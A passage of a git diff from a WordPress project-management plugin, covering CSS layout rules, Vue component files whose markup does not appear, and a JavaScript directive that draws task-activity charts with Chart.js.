margin: 0px 0px 0px 0px; + background-color: red; + background-image: linear-gradient(to bottom, #dae5e8, #dae5e8); + background-repeat: repeat-x; + box-shadow: 0px ; + border-radius: 0px; + top:unset; + } + .pm .pm-project-list .pm-project .pm-project-people { + width: 100%; + top:0; + } + .pm .pm-project-grid .pm-project .pm-progress .completed, + .pm .pm-project-list .pm-project .pm-progress .completed { + ackground-color: #019dd6; + background-image: linear-gradient(to bottom, #019dd6, #019dd6); + } + .pm .pm-project-grid .pm-project .pm-project-people, + .pm .pm-project-list .pm-project .pm-project-people { + text-align: center; + } + .pm .project-overview .pm-right-part { + width: 100%; + } + .pm .pm-activity-list li.pm-row { + display: block ; + } + .pm .pm-activity-list li.pm-row .pm-activity-date { + margin-bottom: 10px; + margin-top: 25px; + } + .pm .pm-message-page { + display: inline ; + } + .pm .pm-message-page .pm-message-list { + width: 100% ; + } + .pm .pm-message-page .pm-message-body { + width: 100%; + height: auto; + overflow: hidden; + } +} +@media only screen and (max-width: 1400px) { + .pm .project-overview .overview-menu ul li { + flex-basis: 33.33% !important; + max-width: 33.33% !important; + } + .pm .project-overview .overview-menu ul li a { + width: 100%; + } +} + +@media only screen and (max-width: 767px) { + .pm .project-overview .overview-menu ul li { + flex-basis: 50% !important; + max-width: 50% !important; + } + .pm-header-title-content .project-title { + flex-basis: 100%; + margin-bottom: 20px; + } + + .pm-header-title-content .project-title { + display: block; + position: relative !important; + line-height: inherit !important; + } + + .pm-header-title-content .project-title .title { + max-width: calc(100% - 70px); + display: block; + } + .pm-header-title-content .pm-title-edit-settings { + right: 35px; + } + .pm-header-title-content .settings { + right: 0; + } + .pm-header-title-content .pm-title-edit-settings, + .pm-header-title-content .settings { + position: absolute !important; + top: 0; + z-index: 999; + } + .pm-header-title-content .project-title + div { + width: 100%; + } + .pm-header-title-content .project-title + div input { + width: 100% !important; + } + + + + +} + +@media print { + .pm .pm-no-print { + display: none; + } + .pm td, + .pm th { + padding: 1px ; + } +} +.pm-task-modal .pm-multiselect-single-task .multiselect__input { + width: 100%; +} +.pm-task-modal .pm-multiselect-single-task .multiselect__select { + display: none; +} +.pm-task-modal .pm-multiselect-single-task .multiselect__tags { + padding: 8px 12px 0 8px; +} +.pm-task-modal .pm-multiselect-single-task .multiselect__tags .multiselect__tag { + display: none; + margin: 0; + padding: 0; +} +.pm-task-modal .pm-assigned-user, +.pm-task-modal time { + background: none; +} +.pm-task-modal .avatar { + border-radius: 30px; + vertical-align: middle; + margin-right: 8px; +} +.pm-task-modal .pm-lock { + width: auto; + height: 22px; + padding-left: 12px; +} +.pm-task-modal #new_comment_form { + margin-bottom: 50px; +} +.pm-task-modal #new_comment_form trix-toolbar .button_group button, +.pm-task-modal #new_comment_form trix-toolbar .button_group input[type=button] { + background: rgba(255, 255, 255, 0); +} + +.pm-comment-content ul { + display: block; + list-style-type: disc; + margin-left: 2em; +} +.pm-project-action ul.pm-settings li .pm-spinner { + display: none; +} +.pm-project-form .pm-form-item { + margin-bottom: 15px; +} +.pm-project-form .pm-form-item .chosen-container-single a.chosen-single { + height: 30px; + box-shadow: none; +} +.toast-top-right { + top: 32px !important; + right: 0px !important; +} +.item .multiselect__input { + border: none !important; + box-shadow: none !important; + margin: 0; +} +.multiselect__element { + padding: 0px !important; + margin: 0px !important; +} +#pm-single-todo-list-view { + display: flex; + flex-direction: column; + flex-wrap: wrap; + align-items: stretch; + justify-content: space-around; + border-bottom: 1px solid #e5e5e5; +} +#pm-single-todo-list-view .pm-todo { + padding-bottom: 0px; + padding-right: 15px; + margin-top: 5px; + margin-bottom: 5px; +} +#pm-single-todo-list-view .pm-todo .pm-todo-wrap { + padding: 0px; + margin: 0px; +} +#pm-single-todo-list-view .pm-incomplete-tasks { + width: 100%; + padding: 0px 15px; + padding-bottom: 10px; + margin-bottom: 10px; + border-bottom: 1px solid #e5e5e5; +} +#pm-single-todo-list-view .pm-incomplete-tasks .pm-incomplete-task-list .pm-todo, +#pm-single-todo-list-view .pm-incomplete-tasks .pm-incomplete-task-list li { + border-bottom: none; +} +#pm-single-todo-list-view .pm-completed-tasks { + width: 100%; + padding: 0px 15px; + margin-bottom: 10px; +} +#pm-single-todo-list-view .pm-completed-tasks .pm-completed-task-list { + min-height: 55px; +} +#pm-single-todo-list-view .pm-completed-tasks .pm-completed-task-list .pm-todo, +#pm-single-todo-list-view .pm-completed-tasks .pm-completed-task-list li { + border-bottom: none; +} +#pm-single-todo-list-view .pm-tag-gray { + display: inline-block; + -webkit-box-sizing: content-box; + -moz-box-sizing: content-box; + box-sizing: content-box; + height: 22px; + position: relative; + content: ""; + cursor: pointer; + margin: 0 13px 0 0; + padding: 5px 15px 5px 5px; + border: none; + font-size: 14px; + color: #ffffff; + text-align: center; + text-transform: uppercase; + -o-text-overflow: ellipsis; + text-overflow: ellipsis; + background: #f1f1f1; +} +#pm-single-todo-list-view .pm-tag-gray::before { + display: inline-block; + -webkit-box-sizing: content-box; + -moz-box-sizing: content-box; + box-sizing: content-box; + z-index: 1; + width: 22px; + height: 22px; + position: absolute; + content: ""; + cursor: pointer; + top: 5px; + right: -12px; + border: none; + color: rgba(255, 255, 255, 0.9); + -o-text-overflow: clip; + text-overflow: clip; + background: #f1f1f1; + text-shadow: none; + -webkit-transform: rotateY(1deg) rotateZ(-45deg); + transform: rotateY(1deg) rotateZ(-45deg); +} +#pm-single-todo-list-view .pm-task-edit-form { + border-top: 1px solid #e5e5e5; + padding-bottom: 0px; + margin-bottom: 0px; +} +#pm-single-todo-list-view .pm-task-edit-form .pm-task-form { + background: #fff; + border: none; + padding-bottom: 0px; + margin-bottom: 0px; +} +#pm-single-todo-list-view .pm-task-edit-form .pm-task-form .item.submit { + padding-bottom: 5px; + margin-bottom: 5px; +} +#pm-single-todo-list-view .pm-single-task-subtask-form { + width: 300px; +} +.pm-incomplete-task-spinner, +.pm-completed-task-spinner { + margin-left: 2% !important; +} +.pm trix-editor ul { + list-style: disc; + padding-left: 20px; +} +.pm-single-new-task-field-wrap { + position: relative; +} +.pm-single-new-task-field-wrap .pm-settings { + position: absolute; + top: 6px; + right: 6px; +} +.pm-single-new-task-field-wrap .pm-settings-control { + position: absolute; + background: #deb; + padding: 6px; + border-radius: 3px; + top: 0px; + z-index: 9999; + width: 100%; +} +.pm-single-new-task-field-wrap .pm-settings-control .pm-triangle { + position: absolute; + width: 0; + height: 0; + top: 8px; +} +.pm-single-new-task-field-wrap-right .pm-settings-control { + left: 104%; +} +.pm-single-new-task-field-wrap-right .pm-settings-control .pm-triangle { + border-top: 10px solid transparent; + border-bottom: 10px solid transparent; + border-right: 10px solid #deb; + left: -9px; +} +.pm-single-new-task-field-wrap-left .pm-settings-control { + right: 34px; +} +.pm-single-new-task-field-wrap-left .pm-settings-control .pm-triangle { + border-top: 10px solid transparent; + border-bottom: 10px solid transparent; + border-left: 10px solid #deb; + right: -9px; +} +.pm-single-task-field-multiselect-wrap .pm-multiselect, +.pm-todo-lists-drop-down-wrap .pm-multiselect { + position: relative; +} +.pm-single-task-field-multiselect-wrap .pm-multiselect .pm-multiselect-cross, +.pm-todo-lists-drop-down-wrap .pm-multiselect .pm-multiselect-cross { + position: absolute; + z-index: 9999; + right: 5px; + top: 7px; +} +.pm-single-task-field-multiselect-wrap .pm-multiselect .multiselect__tags, +.pm-todo-lists-drop-down-wrap .pm-multiselect .multiselect__tags { + border: none; + padding: 0; +} +.pm-single-task-field-multiselect-wrap .pm-multiselect .multiselect__select, +.pm-todo-lists-drop-down-wrap .pm-multiselect .multiselect__select { + display: none; +} +.pm-popover { + position: absolute; + top: 0; + left: 0; + z-index: 1060; + display: block; + max-width: 276px; + padding: 1px; + font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; + font-style: normal; + font-weight: 400; + letter-spacing: normal; + line-break: auto; + line-height: 1.5; + text-align: left; + text-align: start; + text-decoration: none; + text-shadow: none; + text-transform: none; + white-space: normal; + word-break: normal; + word-spacing: normal; + font-size: .875rem; + word-wrap: break-word; + background-color: #fff; + -webkit-background-clip: padding-box; + background-clip: padding-box; + margin-left: 10px; +} +.pm-popover .pm-arrow { + top: 74px; + left: -20px; + content: " "; + border-width: 10px; + position: absolute; + display: block; + height: 0; + border-color: transparent; + border-style: solid; + border-right-color: #999; +} +.pm-popover .pm-arrow::after { + top: -10px; + left: -9px; + content: " "; + border-left-width: 0; + border-width: 10px; + position: absolute; + display: block; + width: 0; + height: 0; + border-color: transparent; + border-style: solid; + border-right-color: #fff; +} +.pm-popover-title { + padding: 8px 14px; + margin-bottom: 0; + font-size: 1rem; + background-color: #f7f7f7; + border-bottom: 1px solid #ebebeb; + border-top-right-radius: calc(-0.7rem); + border-top-left-radius: calc(-0.7rem); +} +.pm-popover-content { + padding: 9px 14px; +} +.pm-single-task-field-start-wrap, +.pm-single-task-field-end-wrap, +.pm-single-task-field-description-wrap { + position: relative; + width: 100%; +} +.pm-single-task-field-start-wrap .pm-single-task-field-description-link, +.pm-single-task-field-end-wrap .pm-single-task-field-description-link, +.pm-single-task-field-description-wrap .pm-single-task-field-description-link { + position: absolute; + right: 5px; + top: 4px; +} +.pm-single-task-field-start-wrap .pm-single-task-field-start-field, +.pm-single-task-field-end-wrap .pm-single-task-field-start-field, +.pm-single-task-field-description-wrap .pm-single-task-field-start-field, +.pm-single-task-field-start-wrap .pm-single-task-field-end-field, +.pm-single-task-field-end-wrap .pm-single-task-field-end-field, +.pm-single-task-field-description-wrap .pm-single-task-field-end-field, +.pm-single-task-field-start-wrap .pm-single-task-field-description-field, +.pm-single-task-field-end-wrap .pm-single-task-field-description-field, +.pm-single-task-field-description-wrap .pm-single-task-field-description-field { + width: 100%; + border-radius: 3px; + margin-bottom: 5px; +} +.pm-single-task-field-start-wrap .pm-inline-date-picker-from, +.pm-single-task-field-end-wrap .pm-inline-date-picker-from, +.pm-single-task-field-start-wrap .pm-inline-date-picker-to, +.pm-single-task-field-end-wrap .pm-inline-date-picker-to { + position: relative; +} +.pm-single-task-field-start-wrap .pm-inline-date-picker-from .ui-datepicker, +.pm-single-task-field-end-wrap .pm-inline-date-picker-from .ui-datepicker, +.pm-single-task-field-start-wrap .pm-inline-date-picker-to .ui-datepicker, +.pm-single-task-field-end-wrap .pm-inline-date-picker-to .ui-datepicker { + width: 16em; + /*what ever width you want*/ +} +.pm-single-task-field-start-wrap .pm-inline-date-picker-from i, +.pm-single-task-field-end-wrap .pm-inline-date-picker-from i, +.pm-single-task-field-start-wrap .pm-inline-date-picker-to i, +.pm-single-task-field-end-wrap .pm-inline-date-picker-to i { + font-size: 20px; + background: #444; + color: #fff; + border-radius: 8px; + height: 20px; + width: 20px; + text-align: center; + font-weight: 100 !important; +} +.pm-single-task-field-start-wrap .pm-inline-date-picker-from .pm-single-task-field-start-link, +.pm-single-task-field-end-wrap .pm-inline-date-picker-from .pm-single-task-field-start-link, +.pm-single-task-field-start-wrap .pm-inline-date-picker-to .pm-single-task-field-start-link, +.pm-single-task-field-end-wrap .pm-inline-date-picker-to .pm-single-task-field-start-link, +.pm-single-task-field-start-wrap .pm-inline-date-picker-from .pm-single-task-field-end-link, +.pm-single-task-field-end-wrap .pm-inline-date-picker-from .pm-single-task-field-end-link, +.pm-single-task-field-start-wrap .pm-inline-date-picker-to .pm-single-task-field-end-link, +.pm-single-task-field-end-wrap .pm-inline-date-picker-to .pm-single-task-field-end-link { + position: absolute; + right: -5px; + top: -12px; + z-index: 99999; +} +.pm-multiselect .multiselect__content .multiselect__option--highlight:hover { + background: none; + color: #575d64; +} +.pm-multiselect .multiselect__content .multiselect__option--highlight { + background: none; + color: #575d64; +} +.pm-multiselect .multiselect__content .multiselect__option--selected:hover { + background: #f3f3f3; + color: #35495e; +} +.pm-multiselect .multiselect__content .multiselect__option--selected { + background: #f3f3f3; + color: #35495e; +} +.pm-multiselect .multiselect__content .multiselect__option--selected:after { + content: "\2713 "; +} +.pm-multiselect .multiselect__content .multiselect__option--highlight:after { + background: none; + color: #35495e; +} +.pm-multiselect .multiselect__content img.option__image { + display: inline-block; + margin-right: 5px; + vertical-align: top; +} +.pm-multiselect .multiselect__content .option__desc { + display: inline-block; + width: 73%; + white-space: normal; + margin: 0 0 0 2px; + padding: 0; +} +.pm .discussion{ + padding-left: 0px; + overflow: hidden; + position: relative; +} + +.slide-enter-active { + transition: all .3s ease; + overflow-y: hidden; + height: 500px; +} +.slide-leave-active { + transition: all .3s cubic-bezier(1.0, 0.5, 0.8, 1.0); + height: 500px; + overflow-y: hidden; +} +.slide-leave-to{ + height: 0px; +} +.slide-enter{ + height: 0px; +} + +.pm-milestone .pm-milestone-form { + max-width: 600px; +} + +.pm .form-table td fieldset label{ + margin: 0.25em 0.5em 0.5em !important; +} + +.logo-preview{ + max-width: 75px; + max-height: 75px; + overflow: hidden; + margin-bottom: 10px !important; +} + +.logo-preview img{ + width: 100%; + height: auto; +} + +/* change background and spacing for each project sub pages */ +.pm-project-overview-container, +.pm-activities-container, +.pm-discussion-container, +.pm-milestone-container, +.pm-files-container-free, +.pm-files-container-pro, +.pm-gantt-wrap, +.pm-settings { + margin-top: 0 !important; + padding: 20px; + border: 1px solid #E5E4E4; + border-top: 0; + background: #FAFAFA; +} + + + + + + + + + + + + + + + + +/* RTL */ +/*body { + direction: rtl; + font-family:"IRANSans",Arial,sans-serif !important; +} +.pm-page-wrapper .pm-project-item .pm-project-item-body .pm-project-info .pm-project-meta-counters li { + float: right; +} +.pm-page-wrapper .pm-project-item .pm-project-item-body .pm-project-info .pm-project-meta-counters li:not(:last-child) { + margin: 0 0 10px 10px; +} +.pm-page-wrapper .pm-project-item .pm-project-item-body .pm-project-progress .pm-project-status { + right: 0; + left:unset; +} +.pm-pull-left { + float: right; +} +.pm-pull-right { + float: left; +} +.pm-page-wrapper .pm-view-style-container .pm-view-style-group { + margin-right: 15px !important; + margin-left:unset !important; +} +.pm .pm-filter-selection{ + margin-bottom: 0px; +} +.pm-page-wrapper .pm-header .pm-header-left h2 { + margin-left: 15px; + margin-right:unset !important; +} +.pm-has-dropdown .pm-dropdown-menu { + position: absolute; + right:unset !important; + left: 0; +} +.pm-page-wrapper .pm-overview-panel .pm-panel-header .pm-tab-item a i { + margin-right: unset !important; + margin-left: 7px; +} +.pm-kanboard .pm-pro-multiselect-wrap { + right:-60px; + left:unset !important; +} +.multiselect { + text-align:right; +} +.pm-kanboard .kanboard-menu-wrap .fullscreen-view-btn .icon-pm-fullscreen-text { + margin-right:8px; + margin-left: unset; +} +.pm-header-title-content .project-title .title { + margin-left:20px; + margin-right:unset; +} +.pm .project-overview .overview-menu ul li .count { + text-align: right !important; +} +.pm-header-title-content .settings.first { + border-top-right-radius:3px; + border-bottom-right-radius:3px; + border-top-left-radius: unset; + border-bottom-left-radius:unset; +} +.pm-header-title-content .settings.last { + border-top-left-radius: 3px; + border-bottom-left-radius:3px; + border-top-right-radius:unset; + border-bottom-right-radius:unset; +} +.pm .project-overview .pm-right-part .user_list li img { + float: right; + margin-left: 10px; + margin-right: unset !important; +} +.pm .pm-message-page .pm-message-list li img { + float: right !important; +} +.pm .pm-col-1 { + float: right !important; + margin-left: 10px; + margin-right: unset !important; +} +.pm .pm-col-2 { + float: right !important; + margin-left: 10px; + margin-right: unset !important; +} +.pm .pm-col-3 { + float: right !important; + margin-left: 10px; + margin-right: unset !important; +} +.pm .pm-col-4 { + float: right !important; + margin-left: 10px; + margin-right: unset !important; +} +.pm .pm-col-5 { + float: right !important; + margin-left: 10px; + margin-right: unset !important; +} +.pm .pm-col-6 { + float: right !important; + margin-left: 10px; + margin-right: unset !important; +} +.pm .pm-col-7 { + float: right !important; + margin-left: 10px; + margin-right: unset !important; +} +.pm .pm-col-8 { + float: right !important; + margin-left: 10px; + margin-right: unset !important; +} +.pm .pm-col-9 { + float: right !important; + margin-left: 10px; + margin-right: unset !important; +} +.pm .pm-col-10 { + float: right !important; + margin-left: 10px; + margin-right: unset !important; +} +.pm .pm-col-11 { + float: right !important; + margin-left: 10px; + margin-right: unset !important; +} +.pm .modal-header span.close-vue-modal { + left: 0; + right:unset !important; +} +.gantt_layout_cell_border_right { + border-left:1px solid #cecece; + border-right:unset !important; +} +.gantt_layout_cell_border_left { + border-right:1px solid #cecece; + border-left:unset !important; +} +.grunt-color-plate { + margin:0 0 8px 5px; + float:left; +} +.dashicons, .dashicons-before::before { + margin-top: 5px; +} +.pm-page-wrapper .pm-header .pm-form-has-addon .pm-submit-btn { + left: 0; + right:unset !important; +} +.pm-project-group .pm-user-select .user-switch { + margin-right:auto!important; + margin-left:unset!important; +} +.my-task-filter-wrap .form .field { + margin-right:unset !important; + margin-left:5px; +} +.pm .pm-project-header .pm-user-select img.option__image { + margin-right:unset !important; + margin-left:5px; +} +#wedevs-project-manager .pm-my-tasks .avatar { + margin-right:unset !important; + margin-left: 10px; +} +.mytask-current .current-task-table .sort-wrap { + left:25px; + right:unset !important; +} +.pm-task-form .input-area .input-action-wrap .task-create-form .fields .process-fields .process-field { + margin-left:16px; + margin-right:unset !important; +} +.pm-task-form .input-area .input-action-wrap .task-create-form .fields .process-fields .task-users .user-images .image { + margin-right:5px; + margin-left:unset !important; +} +.project-select-area .form-content-wrap .drop-down-wrap .projects-drop-down, +.project-select-area .form-content-wrap .drop-down-wrap .users-drop-down { + width:250px; + min-height:auto; + margin-left:8px; + margin-right:unset !important; +} +.ui-dialog .ui-dialog-title { + float: right; +} +.ui-dialog .ui-dialog-titlebar-close { + left: .3em; + right:unset !important; + font-family: "IRANSans",Arial,sans-serif !important; +} +.ui-widget input, +.ui-widget select, +.ui-widget textarea, +.ui-widget button { + font-family: "IRANSans",Arial,sans-serif !important; +} +.pm-task-list-wrap .list-content-body .content .list-action-btn-wrap .new-list-btn .plus { + margin-left:5px; + margin-right:unset !important; +} +.pm-task-list-wrap .list-content-body .content .list-action-btn-wrap .new-list-btn a { + width:max-content; +} +.pm-project-menu .menu-item a .logo { + margin-left:5px + margin-right:unset !important; +} +.pm .table th, +.pm .table td { + text-align: right !important; +} +.pm-table th, +.pm-table td { + text-align: right; +} +.pm-invoice .pm-invoice-wrap .pm-invoice-total-box table.pm-invoice-totals th { + text-align: right; + padding: 5px 25px 10px 5px; +} +.pm-pro-archive-anchor .archive { + margin-right: 5px; + margin-left:unset !important; +} +.pm-task-list-wrap .list-content-body .content .list-action-btn-wrap .task-filter .icon-pm-filter { + margin-left: 5px; + margin-right:unset !important; +} +.pm-task-list-wrap .list-content-body .content .list-items .list-content .list-item-content .after-title .list-title-action { + margin-right: 12px; + margin-left:unset !important; +} +.pm-task-list-wrap .list-content-body .content .list-items .list-content .list-title-anchor { + margin-left: 40px; + margin-right:unset !important; +} +.pm-list-header-menu .task-filter .icon-pm-filter { + margin-left: 5px; + margin-right:unset !important; +} +.pm-kanboard .fullscreen-view-btn { + margin-left:10px; + margin-left:unset !important; +} +.pm-list-header-menu { + float: left; +} + +@media only screen and (min-width: 768px) { + .project-list-view .pm-project-item-header .pm-project-settings { + right:unset !important; + left: 15px; + } +}*/ + + diff --git a/views/assets/src/components/calendar/calendar.vue b/views/assets/src/components/calendar/calendar.vue index c854af7d3..62bc5eae6 100644 --- a/views/assets/src/components/calendar/calendar.vue +++ b/views/assets/src/components/calendar/calendar.vue @@ -1,248 +1,248 @@ - - - - - + + + + + diff --git a/views/assets/src/components/categories/categories.vue b/views/assets/src/components/categories/categories.vue index 3b4dad1ec..379d6e28d 100644 --- a/views/assets/src/components/categories/categories.vue +++ b/views/assets/src/components/categories/categories.vue @@ -1,329 +1,329 @@ - - - - + + + + diff --git a/views/assets/src/components/common/globally-task-create-form.vue b/views/assets/src/components/common/globally-task-create-form.vue index edc0e3fe6..de75df206 100644 --- a/views/assets/src/components/common/globally-task-create-form.vue +++ b/views/assets/src/components/common/globally-task-create-form.vue @@ -1,341 +1,341 @@ - - - - - - - - - - + + + + + + + + + + diff --git a/views/assets/src/components/common/header.vue b/views/assets/src/components/common/header.vue index 29c7f0fc6..a4c0c1fe7 100644 --- a/views/assets/src/components/common/header.vue +++ b/views/assets/src/components/common/header.vue @@ -1,487 +1,487 @@ - - - - - + + + + + diff --git a/views/assets/src/components/common/list-filter.vue b/views/assets/src/components/common/list-filter.vue index ba4475664..a79151732 100644 --- a/views/assets/src/components/common/list-filter.vue +++ b/views/assets/src/components/common/list-filter.vue @@ -1,432 +1,432 @@ - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + diff --git a/views/assets/src/components/common/loading-animation.vue b/views/assets/src/components/common/loading-animation.vue index 29f658503..7d80e4208 100644 --- a/views/assets/src/components/common/loading-animation.vue +++ b/views/assets/src/components/common/loading-animation.vue @@ -1,99 +1,99 @@ - - - - - + + + + + diff --git a/views/assets/src/components/common/menu.vue b/views/assets/src/components/common/menu.vue index be4f0733d..b97e4baa8 100644 --- a/views/assets/src/components/common/menu.vue +++ b/views/assets/src/components/common/menu.vue @@ -1,455 +1,455 @@ - - - - - - + + + + + + diff --git a/views/assets/src/components/common/pm-file.vue b/views/assets/src/components/common/pm-file.vue index 804815fe7..b320b02ef 100644 --- a/views/assets/src/components/common/pm-file.vue +++ b/views/assets/src/components/common/pm-file.vue @@ -1,86 +1,86 @@ - - - - + + + + diff --git a/views/assets/src/components/common/popup-modal.vue b/views/assets/src/components/common/popup-modal.vue index 318bd9502..0fe33b619 100644 --- a/views/assets/src/components/common/popup-modal.vue +++ b/views/assets/src/components/common/popup-modal.vue @@ -1,214 +1,214 @@ - - - - - - + + + + + + diff --git a/views/assets/src/components/common/task-type-dropdown.vue b/views/assets/src/components/common/task-type-dropdown.vue index 6a276e420..33d79b2e6 100644 --- a/views/assets/src/components/common/task-type-dropdown.vue +++ b/views/assets/src/components/common/task-type-dropdown.vue @@ -1,318 +1,318 @@ - - - - - + + + + + diff --git a/views/assets/src/components/my-tasks/current-task.vue b/views/assets/src/components/my-tasks/current-task.vue index bf82b78fb..dd35f714f 100644 --- a/views/assets/src/components/my-tasks/current-task.vue +++ b/views/assets/src/components/my-tasks/current-task.vue @@ -1,325 +1,325 @@ - - - - + + + + diff --git a/views/assets/src/components/my-tasks/directives.js b/views/assets/src/components/my-tasks/directives.js index 57e0b6c74..1ba3cf85e 100644 --- a/views/assets/src/components/my-tasks/directives.js +++ b/views/assets/src/components/my-tasks/directives.js @@ -1,176 +1,176 @@ -/** - * my task chart - */ - - -var PM_mytask = { - chart: function(el, binding, vnode) { - // var activity = vnode.context.text.activity, - // Task = vnode.context.text.task - var context = vnode.context; - - if( typeof context.$store.state.myTask.graph !== 'undefined') { - var graph = context.$store.state.myTask.graph; - } - var data = { - labels: PM_mytask.getLabels(graph), //["Oct 05", "Oct 09", "Oct 15"], - datasets: [ - { - label: __( 'activity', 'wedevs-proejct-manager' ), - fillColor: "rgba(120,200, 223, 0.4)", - strokeColor: "#79C7DF", - pointColor: "#79C7DF", - pointStrokeColor: "#79C7DF", - pointHighlightFill: "#79C7DF", - pointHighlightStroke: "#79C7DF", - data: PM_mytask.getActivities(graph), - backgroundColor: "rgba(120,200, 223, 0.4)", - }, - { - label: __( 'Completed Task', 'wedevs-proejct-manager' ), - fillColor: "rgba(0, 144, 217, 1)", - strokeColor: "#0090D9", - pointColor: "#0090D9", - pointStrokeColor: "#0090D9", - pointHighlightFill: "#0090D9", - pointHighlightStroke: "rgba(0, 144, 217, 1)", - data: PM_mytask.getCompletedTasks(graph), - backgroundColor: "rgba(0, 144, 217, 0.5)", - }, - { - label: __( 'Assigned Task', 'wedevs-proejct-manager' ), - fillColor: "#590340", - strokeColor: "#590340", - pointColor: "#590340", - pointStrokeColor: "#590340", - pointHighlightFill: "#590340", - pointHighlightStroke: "rgba(89, 3, 64, 1)", - data: PM_mytask.getAssignedTasks(graph), - backgroundColor: "rgba(89, 3, 64, 0.5)", - } - ] - }; - - Chart.defaults.responsive = true; - var ctx = el.getContext("2d"); - // This will get the first returned node in the jQuery collection. - - // Destroy if canvas is already used. - if ( window.pmMyTaskChart instanceof Chart ) window.pmMyTaskChart.destroy(); - - window.pmMyTaskChart = new pm.Chart(ctx, { - type: 'line', - data: data, - pointDotRadius : 8, - animationSteps: 60, - tooltipTemplate: "<%= labels + sss %>%" , - animationEasing: "easeOutQuart" - }); - - }, - - getLabels: function(graph) { - var labels = []; - graph.map(function(lebel) { - var date = PM_mytask.labelDateFormat(lebel.date_time.date); - labels.push(date); - }); - - return labels; - }, - - labelDateFormat: function(date) { - date = new Date(date); - return pm.Moment(date).format('MMM DD'); - }, - - getActivities: function(graph) { - var set_activities = []; - - graph.map(function(activity) { - set_activities.push(activity.activities); - }); - - return set_activities; - }, - - getCompletedTasks: function(graph) { - var set_tasks = []; - - graph.map(function(task) { - set_tasks.push(task.completed_tasks); - }); - - return set_tasks; - }, - - getAssignedTasks: function(graph) { - var set_tasks = []; - - graph.map(function(task) { - set_tasks.push(task.assigned_tasks); - }); - - return set_tasks; - } -} - -var PM_PI = { - update (element, binding, vnode) { - var self = this; - var context = vnode.context; - var meta = context.$store.state.myTask.user.meta; - - if( typeof meta !== 'undefined' ) { - var config = { - type: 'doughnut', - data: { - datasets: [{ - data: [ meta.data.total_current_tasks , meta.data.total_complete_tasks, meta.data.total_outstanding_tasks], - backgroundColor: [ "#61BD4F", "#0090D9", "#EB5A46"], - }], - labels: [ - __( "Current Task", 'wedevs-proejct-manager' ), - __( "Completed Task", 'wedevs-proejct-manager' ), - __( "Outstanding Task", 'wedevs-proejct-manager' ) - ] - }, - options: { - responsive: true, - legend: { - display: false, - }, - animation: { - animateScale: true, - animateRotate: true - } - } - }; - - } - - // Destroy if canvas is already used. - if ( window.piChart instanceof Chart ) window.piChart.destroy(); - - var ctx = element.getContext("2d"); - window.piChart = new Chart(ctx, config); - } -} - -pm.Vue.directive('pm-mytask-chart', { - inserted: function (el, binding, vnode) { - PM_mytask.chart(el, binding, vnode); - }, - update: function (el, binding, vnode) { - PM_mytask.chart(el, binding, vnode); - } -}); - -pm.Vue.directive('pm-mytask-pichart', { - inserted: function (element, binding, vnode){ - PM_PI.update( element, binding, vnode); - }, - update: function (element, binding, vnode){ - PM_PI.update( element, binding, vnode); - } -}); +/** + * my task chart + */ + + +var PM_mytask = { + chart: function(el, binding, vnode) { + // var activity = vnode.context.text.activity, + // Task = vnode.context.text.task + var context = vnode.context; + + if( typeof context.$store.state.myTask.graph !== 'undefined') { + var graph = context.$store.state.myTask.graph; + } + var data = { + labels: PM_mytask.getLabels(graph), //["Oct 05", "Oct 09", "Oct 15"], + datasets: [ + { + label: __( 'activity', 'wedevs-proejct-manager' ), + fillColor: "rgba(120,200, 223, 0.4)", + strokeColor: "#79C7DF", + pointColor: "#79C7DF", + pointStrokeColor: "#79C7DF", + pointHighlightFill: "#79C7DF", + pointHighlightStroke: "#79C7DF", + data: PM_mytask.getActivities(graph), + backgroundColor: "rgba(120,200, 223, 0.4)", + }, + { + label: __( 'Completed Task', 'wedevs-proejct-manager' ), + fillColor: "rgba(0, 144, 217, 1)", + strokeColor: "#0090D9", + pointColor: "#0090D9", + pointStrokeColor: "#0090D9", + pointHighlightFill: "#0090D9", + pointHighlightStroke: "rgba(0, 144, 217, 1)", + data: PM_mytask.getCompletedTasks(graph), + backgroundColor: "rgba(0, 144, 217, 0.5)", + }, + { + label: __( 'Assigned Task', 'wedevs-proejct-manager' ), + fillColor: "#590340", + strokeColor: "#590340", + pointColor: "#590340", + pointStrokeColor: "#590340", + pointHighlightFill: "#590340", + pointHighlightStroke: "rgba(89, 3, 64, 1)", + data: PM_mytask.getAssignedTasks(graph), + backgroundColor: "rgba(89, 3, 64, 0.5)", + } + ] + }; + + Chart.defaults.responsive = true; + var ctx = el.getContext("2d"); + // This will get the first returned node in the jQuery collection. + + // Destroy if canvas is already used. + if ( window.pmMyTaskChart instanceof Chart ) window.pmMyTaskChart.destroy(); + + window.pmMyTaskChart = new pm.Chart(ctx, { + type: 'line', + data: data, + pointDotRadius : 8, + animationSteps: 60, + tooltipTemplate: "<%= labels + sss %>%" , + animationEasing: "easeOutQuart" + }); + + }, + + getLabels: function(graph) { + var labels = []; + graph.map(function(lebel) { + var date = PM_mytask.labelDateFormat(lebel.date_time.date); + labels.push(date); + }); + + return labels; + }, + + labelDateFormat: function(date) { + date = new Date(date); + return pm.Moment(date).format('MMM DD'); + }, + + getActivities: function(graph) { + var set_activities = []; + + graph.map(function(activity) { + set_activities.push(activity.activities); + }); + + return set_activities; + }, + + getCompletedTasks: function(graph) { + var set_tasks = []; + + graph.map(function(task) { + set_tasks.push(task.completed_tasks); + }); + + return set_tasks; + }, + + getAssignedTasks: function(graph) { + var set_tasks = []; + + graph.map(function(task) { + set_tasks.push(task.assigned_tasks); + }); + + return set_tasks; + } +} + +var PM_PI = { + update (element, binding, vnode) { + var self = this; + var context = vnode.context; + var meta = context.$store.state.myTask.user.meta; + + if( typeof meta !== 'undefined' ) { + var config = { + type: 'doughnut', + data: { + datasets: [{ + data: [ meta.data.total_current_tasks , meta.data.total_complete_tasks, meta.data.total_outstanding_tasks], + backgroundColor: [ "#61BD4F", "#0090D9", "#EB5A46"], + }], + labels: [ + __( "Current Task", 'wedevs-proejct-manager' ), + __( "Completed Task", 'wedevs-proejct-manager' ), + __( "Outstanding Task", 'wedevs-proejct-manager' ) + ] + }, + options: { + responsive: true, + legend: { + display: false, + }, + animation: { + animateScale: true, + animateRotate: true + } + } + }; + + } + + // Destroy if canvas is already used. + if ( window.piChart instanceof Chart ) window.piChart.destroy(); + + var ctx = element.getContext("2d"); + window.piChart = new Chart(ctx, config); + } +} + +pm.Vue.directive('pm-mytask-chart', { + inserted: function (el, binding, vnode) { + PM_mytask.chart(el, binding, vnode); + }, + update: 